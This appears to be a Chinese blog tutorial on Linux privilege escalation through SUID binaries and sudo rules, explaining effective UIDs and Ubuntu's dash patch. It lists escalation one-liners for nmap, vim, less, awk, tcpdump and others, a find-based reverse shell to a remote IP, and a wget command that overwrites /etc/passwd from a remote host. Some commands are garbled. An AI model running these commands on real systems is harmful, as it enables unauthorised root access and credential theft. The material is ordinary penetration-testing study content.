记一次Linux安全提权总结(linux系统提权常用手段)
nanshan 2024-11-05 10:38 28 浏览 0 评论
前言:人们赞美流星,是因为它燃烧着走完自己的全部路程。
一、初识SUID
1.suid的简介
suid即set user id,是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。需要这种特殊权限的场景在Linux下很常见。
已知的可以用来提权的Linux可执行文件有:
CopyNmap、Vim、find、Bash、More、Less、Nano、cp
比如常用的ping命令。ping需要发送ICMP报文,而这个操作需要发送Raw Socket。在Linux 2.2引入CAPABILITIES前,使用Raw Socket是需要root权限的(当然不是说引入CAPABILITIES就不需要权限了,而是可以通过其他方法解决,这个后说),所以你如果在一些老的系统里ls -al $(which ping),可以发现其权限是-rwsr-xr-x,其中有个s位,这就是suid:
- root@linux:# ls -al /bin/ping
- -rwsr-xr-x 1 root root 44168 May 7 2021 /bin/ping
设置了s位的程序在运行时,其Effective UID将会设置为这个程序的所有者。比如,/bin/ping这个程序的所有者是root,它设置了s位,那么普通用户在运行ping时其Effective UID就是0,等同于拥有了root权限。
这里引入了一个新的概念Effective UID。Linux进程在运行时有三个UID:
Real UID 执行该进程的用户实际的UID,谁通过shell运行就是谁
Effective UID 程序实际操作时生效的UID,一般在进程启动时,直接由Real UID复制而来;或者是当进程对应的可执行文件的suid标志位为s时,为该文件的所属用户/组。所以利用suid文件进行提权需要2个前提:文件的所有者是 0 号或其他super user 文件拥有suid权限
在os层面目前常见发行版linux也会对suid的权限进行限制,具体可以参考p神这篇文章 ,把suid的提权简单抽象为一个c代码:
- int main(int argc, char* argv[]) {
- return system(argv[1]);
- }
编译并赋予suid权限:
- root@linux:/tmp# gcc suid.c -o suid
- root@linux:/tmp# chmod +s suid
2021最新整理网络安全\渗透测试/安全学习(全套视频、大厂面经、精品手册、必备工具包)一>关注我,私信回复"资料"获取<一
2./etc/sudoers 语法
- root ALL=(ALL) ALL
root 用户可以从 ALL(任何)终端执行,充当ALL(任何)用户,并运行ALL(任何)命令。第一部分指定用户,第二部分指定可充当用户,第三部分指定 sudo 可运行的命令。
touhid ALL= /sbin/poweroff
输入 touchid 的密码,可以 sudo 执行 poweroff 命令。
touhid ALL = (root) NOPASSWD: /usr/bin/find
不输入密码,可以 sudo 执行 find 命令。
这里引入了一个新的概念Effective UID。Linux进程在运行时有三个UID:
Real UID 执行该进程的用户实际的UID
Effective UID 程序实际操作时生效的UID(比如写入文件时,系统会检查这个UID是否有权限)
Saved UID 在高权限用户降权后,保留的其原本UID(本文中不对这个UID进行深入探讨)
通常情况下Effective UID和Real UID相等,所以普通用户不能写入只有UID=0号才可写的/etc/passwd;有suid的程序启动时,Effective UID就等于二进制文件的所有者,此时Real UID就可能和Effective UID不相等了。
有的同学说某某程序只要有suid权限,就可以提权,这个说法其实是不准确的。只有这个程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权。
2. 查找具有 SUID 权限位文件
以下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。
find / -user root -perm -4000 -print 2>/dev/null``find / -perm -u=s -type f 2>/dev/null``find / -user root -perm -4000 -exec ls -ldb {} ;
也可以使用 sudo -l 命令列出当前用户可执行的命令
二、常见的提权方式
1.Nmap
nmap是一个经典的端口扫描工具,当目标主机存在版本在2.02-5.21之间的nmap且os的版本在上面受影响的范围内或更早就可以尝试使用这种方法进行提权。
nmap --interactive //进入交互模式
nmap -v //查看版本
nmap> !sh sh-3.2# whoami root
Metasploit也有利用SUID Nmap进行提权攻击:
exploit/unix/local/setuid_nmap
nmap提权失败可能出现的原因:
nmap在高版本中限制了suid权限
lua脚本中限制了suid权限
新版Linux系统对子进程的suid权限进行了限制
2.Find
如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行。
$ find 1sh -exec bash -i >& /dev/tcp/192.168.100.173/5656 0>&1 \;
3.Vi/Vim
vim是linux下常见的文本编辑器,但是如果vim被配置了suid权限,那么运行时就会获取高权限进而对只有root用户才有权限读写的文件进行操作或获取高权限shell。在vi/vim中按下esc再输入一下内容即可获取到root的shell :
vim.tiny``Press ESC key``:set shell=/bin/sh``:shell
4.bash
bash -p``id
###5.Less/More
Less 和 more 都可以执行提权的shell
less /etc/passwd
!/bin/sh
6.python/perl/ruby/lua/php/etc
python -c "importos;os.system(’/bin/bash’)
7.cp覆盖 /etc/shadow 或 /etc/passwd
8.mv
覆盖 /etc/shadow 或 /etc/passwd
9.其它方式
nano
nano /etc/passwd
awk
awk 'BEGIN {system("/bin/sh")}'
man
man passwd
!/bin/bash
wget
wget http://192.168.56.1:8080/passwd -O /etc/passwd
apache
仅可查看文件,不能弹 shell:
apache2 -f /etc/shadow
tcpdump
echo #39;id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
python/perl/ruby/lua/php/etc
python
python -c "import os;os.system('/bin/bash')"
perl
exec "/bin/bash";
三、查找SUID权限文件
以下命令可以找到正在系统上运行的所有SUID可执行文件,命令将从 / 目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。
find / -user root -perm ``-4000``-``print``2``>/dev/null``find / -perm -u=s -type f ``2``>/dev/null``find / -user root -perm ``-4000``-exec ls -ldb {} \;
不同版本下linux的不同输出:
Linux发行版 | 输出结果 |
Ubuntu 14.04 | uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data) |
Ubuntu 16.04 | uid=33(www-data) gid=33(www-data) groups=33(www-data) |
Ubuntu 18.04 | uid=33(www-data) gid=33(www-data) groups=33(www-data) |
CentOS 6 | uid=33(www-data) gid=33(www-data) groups=33(www-data) |
CentOS 8 | uid=33(www-data) gid=33(www-data) groups=33(www-data) |
Debian 6 | uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data) |
Debian 8 | uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data) |
Kali 2019 | uid=33(www-data) gid=33(www-data) groups=33(www-data) |
Ubuntu 16.04的不同之处就在dash目录:
下载其中的dash_0.5.8.orig.tar.gz和dash_0.5.8-2.1ubuntu2.diff.gz并分别解压,我们可以看到dash 0.5.8的原始代码,和Ubuntu对其做的patch。
我们对原始代码进行patch后,会发现多了一个setprivileged函数:
void setprivileged(int on)
{
static int is_privileged = 1;
if (is_privileged == on)
return;
is_privileged = on;
/*
* To limit bogus system(3) or popen(3) calls in setuid binaries, require
* -p flag to work in this situation.
*/
if (!on && (uid != geteuid() || gid != getegid())) {
setuid(uid);
setgid(gid);
/* PS1 might need to be changed accordingly. */
choose_ps1();
}
}
on的取值取决于用户是否传入了-p参数, 而uid和gid就是当前进程的Real UID(GID)。可见,在on为false,且Real UID 不等于Effective UID的情况下,这里重新设置了进程的UID:
setuid(uid)
setuid函数用于设置当前进程的Effective UID,如果当前进程是root权限或拥有CAP_SETUID权限,则Real UID和Saved UID将被一起设置。
所以,可以看出,Ubuntu发行版官方对dash进行了修改:当dash以suid权限运行、且没有指定-p选项时,将会丢弃suid权限,恢复当前用户权限。
这样以来,dash在suid的表现上就和bash相同了,这也就解释了为什么在Ubuntu 16.04以后,我们无法直接使用SUID+**system**()的方式来提权。
总结:
suid提权是渗透测试种经常遇到的情况,遇见的不同系统、不同环境都会有不同的提权方式,掌握多种提权方式是渗透的必备的。
相关推荐
- 0722-6.2.0-如何在RedHat7.2使用rpm安装CDH(无CM)
-
文档编写目的在前面的文档中,介绍了在有CM和无CM两种情况下使用rpm方式安装CDH5.10.0,本文档将介绍如何在无CM的情况下使用rpm方式安装CDH6.2.0,与之前安装C5进行对比。环境介绍:...
- ARM64 平台基于 openEuler + iSula 环境部署 Kubernetes
-
为什么要在arm64平台上部署Kubernetes,而且还是鲲鹏920的架构。说来话长。。。此处省略5000字。介绍下系统信息;o架构:鲲鹏920(Kunpeng920)oOS:ope...
- 生产环境starrocks 3.1存算一体集群部署
-
集群规划FE:节点主要负责元数据管理、客户端连接管理、查询计划和查询调度。>3节点。BE:节点负责数据存储和SQL执行。>3节点。CN:无存储功能能的BE。环境准备CPU检查JDK...
- 在CentOS上添加swap虚拟内存并设置优先级
-
现如今很多云服务器都会自己配置好虚拟内存,当然也有很多没有配置虚拟内存的,虚拟内存可以让我们的低配服务器使用更多的内存,可以减少很多硬件成本,比如我们运行很多服务的时候,内存常常会满,当配置了虚拟内存...
- 国产深度(deepin)操作系统优化指南
-
1.升级内核随着deepin版本的更新,会自动升级系统内核,但是我们依旧可以通过命令行手动升级内核,以获取更好的性能和更多的硬件支持。具体操作:-添加PPAs使用以下命令添加PPAs:```...
- postgresql-15.4 多节点主从(读写分离)
-
1、下载软件[root@TX-CN-PostgreSQL01-252software]#wgethttps://ftp.postgresql.org/pub/source/v15.4/postg...
- Docker 容器 Java 服务内存与 GC 优化实施方案
-
一、设置Docker容器内存限制(生产环境建议)1.查看宿主机可用内存bashfree-h#示例输出(假设宿主机剩余16GB可用内存)#Mem:64G...
- 虚拟内存设置、解决linux内存不够问题
-
虚拟内存设置(解决linux内存不够情况)背景介绍 Memory指机器物理内存,读写速度低于CPU一个量级,但是高于磁盘不止一个量级。所以,程序和数据如果在内存的话,会有非常快的读写速度。但是,内存...
- Elasticsearch性能调优(5):服务器配置选择
-
在选择elasticsearch服务器时,要尽可能地选择与当前业务量相匹配的服务器。如果服务器配置太低,则意味着需要更多的节点来满足需求,一个集群的节点太多时会增加集群管理的成本。如果服务器配置太高,...
- Es如何落地
-
一、配置准备节点类型CPU内存硬盘网络机器数操作系统data节点16C64G2000G本地SSD所有es同一可用区3(ecs)Centos7master节点2C8G200G云SSD所有es同一可用区...
- 针对Linux内存管理知识学习总结
-
现在的服务器大部分都是运行在Linux上面的,所以,作为一个程序员有必要简单地了解一下系统是如何运行的。对于内存部分需要知道:地址映射内存管理的方式缺页异常先来看一些基本的知识,在进程看来,内存分为内...
- MySQL进阶之性能优化
-
概述MySQL的性能优化,包括了服务器硬件优化、操作系统的优化、MySQL数据库配置优化、数据库表设计的优化、SQL语句优化等5个方面的优化。在进行优化之前,需要先掌握性能分析的思路和方法,找出问题,...
- Linux Cgroups(Control Groups)原理
-
LinuxCgroups(ControlGroups)是内核提供的资源分配、限制和监控机制,通过层级化进程分组实现资源的精细化控制。以下从核心原理、操作示例和版本演进三方面详细分析:一、核心原理与...
- linux 常用性能优化参数及理解
-
1.优化内核相关参数配置文件/etc/sysctl.conf配置方法直接将参数添加进文件每条一行.sysctl-a可以查看默认配置sysctl-p执行并检测是否有错误例如设置错了参数:[roo...
- 如何在 Linux 中使用 Sysctl 命令?
-
sysctl是一个用于配置和查询Linux内核参数的命令行工具。它通过与/proc/sys虚拟文件系统交互,允许用户在运行时动态修改内核参数。这些参数控制着系统的各种行为,包括网络设置、文件...
你 发表评论:
欢迎- 一周热门
-
-
UOS服务器操作系统防火墙设置(uos20关闭防火墙)
-
极空间如何无损移机,新Z4 Pro又有哪些升级?极空间Z4 Pro深度体验
-
手机如何设置与显示准确时间的详细指南
-
NAS:DS video/DS file/DS photo等群晖移动端APP远程访问的教程
-
如何在安装前及安装后修改黑群晖的Mac地址和Sn系列号
-
如何修复用户配置文件服务在 WINDOWS 上登录失败的问题
-
一加手机与电脑互传文件的便捷方法FileDash
-
日本海上自卫队的军衔制度(日本海上自卫队的军衔制度是什么)
-
10个免费文件中转服务站,分享文件简单方便,你知道几个?
-
爱折腾的特斯拉车主必看!手把手教你TESLAMATE的备份和恢复
-
- 最近发表
- 标签列表
-
- linux 查询端口号 (58)
- docker映射容器目录到宿主机 (66)
- 杀端口 (60)
- yum更换阿里源 (62)
- internet explorer 增强的安全配置已启用 (65)
- linux自动挂载 (56)
- 禁用selinux (55)
- sysv-rc-conf (69)
- ubuntu防火墙状态查看 (64)
- windows server 2022激活密钥 (56)
- 无法与服务器建立安全连接是什么意思 (74)
- 443/80端口被占用怎么解决 (56)
- ping无法访问目标主机怎么解决 (58)
- fdatasync (59)
- 405 not allowed (56)
- 免备案虚拟主机zxhost (55)
- linux根据pid查看进程 (60)
- dhcp工具 (62)
- mysql 1045 (57)
- 宝塔远程工具 (56)
- ssh服务器拒绝了密码 请再试一次 (56)
- ubuntu卸载docker (56)
- linux查看nginx状态 (63)
- tomcat 乱码 (76)
- 2008r2激活序列号 (65)